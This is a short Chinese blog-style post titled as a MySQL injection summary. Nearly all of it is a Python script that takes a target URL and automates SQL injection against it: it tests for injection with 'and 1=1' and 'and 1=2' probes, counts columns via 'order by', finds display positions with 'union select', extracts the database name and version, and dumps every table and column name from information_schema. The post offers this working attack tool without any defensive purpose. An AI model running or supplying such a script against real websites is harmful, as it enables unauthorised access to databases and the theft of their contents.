mysql注入总结
前言:看玩mysql注入
做一篇总结然后去打GTA 5
正文:
import requests def ljw(): global url,rse,headers url=input('请输入你要进行测试的url:') a='%20and%201=1' al=url+a b='%20and%201=2' bl=url+b headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0'} rse=requests.get(url,headers=headers).content and1=requests.get(al,headers=headers).content and2=requests.get(bl,headers=headers).content print(al) print(bl) if rse==and1 and rse!=and2: print('[+]存在SQL注入') else: print('[-]不存在sql注入') exit() ljw() def order(): global gww for i in range(1,100): usdw='%20order%20by%20{}'.format(i) wge=url+usdw wtq=requests.get(wge,headers=headers).content look=requests.get(url,headers=headers).text if wtq!=look: lps=usdw[16] gww=int(lps)-1 livs=usdw.replace(usdw[16],str(gww)) print('[+]字段长度为',gww) print('[+]字段长度:',url+livs) break order() def xwei(): global xc,fgk ofw=gww+1 wtws=range(1,ofw) owg=list(wtws) pot=",".join(str(i)for i in owg) xc='%20union%20select%20{}'.format(pot) fgk=url+xc print('[+]爆显位') opr=requests.get(fgk,headers=headers) print('[+]Http状态码:',opr.status_code) print('[+]请读取显位:',opr.url) xwei() def huoqu(): liwd=input('请输入显位的位置:') liwd2=input('请输入第二个显位的位置或跳过:') print('database() 获取数据库名') print('version() 获取数据库版本') gsc=input('请输入要获取的函数:') gsc2=input('请输入你要获取的函数:') hw=xc.replace('%20',' ') posw=hw.replace(liwd,gsc) lk=posw.replace(liwd2,gsc2) gwd=lk.replace(' ','%20') usc=url+gwd kiv=requests.get(usc,headers=headers) print('[+]状态码:',kiv.status_code) print('[+]获取的数据:',kiv.url) huoqu() def htbale(): print('爆数据库下所有的表') wdf=fgk.replace('1','table_name') ko=wdf+'%20from%20information_schema.tables' dw=requests.get(ko,headers=headers) print('[+]状态码:',dw.status_code) print('[+]获取所有表的:',dw.url) htbale() def lisrw(): print('[+]爆出所有列') wdf=fgk.replace('1','%20column_name') gw=wdf+'%20from%20information_schema.columns' sdw=requests.get(gw,headers=headers) print('[+]状态码:',sdw.status_code) print('[+]所有列的:',sdw.url) lisrw()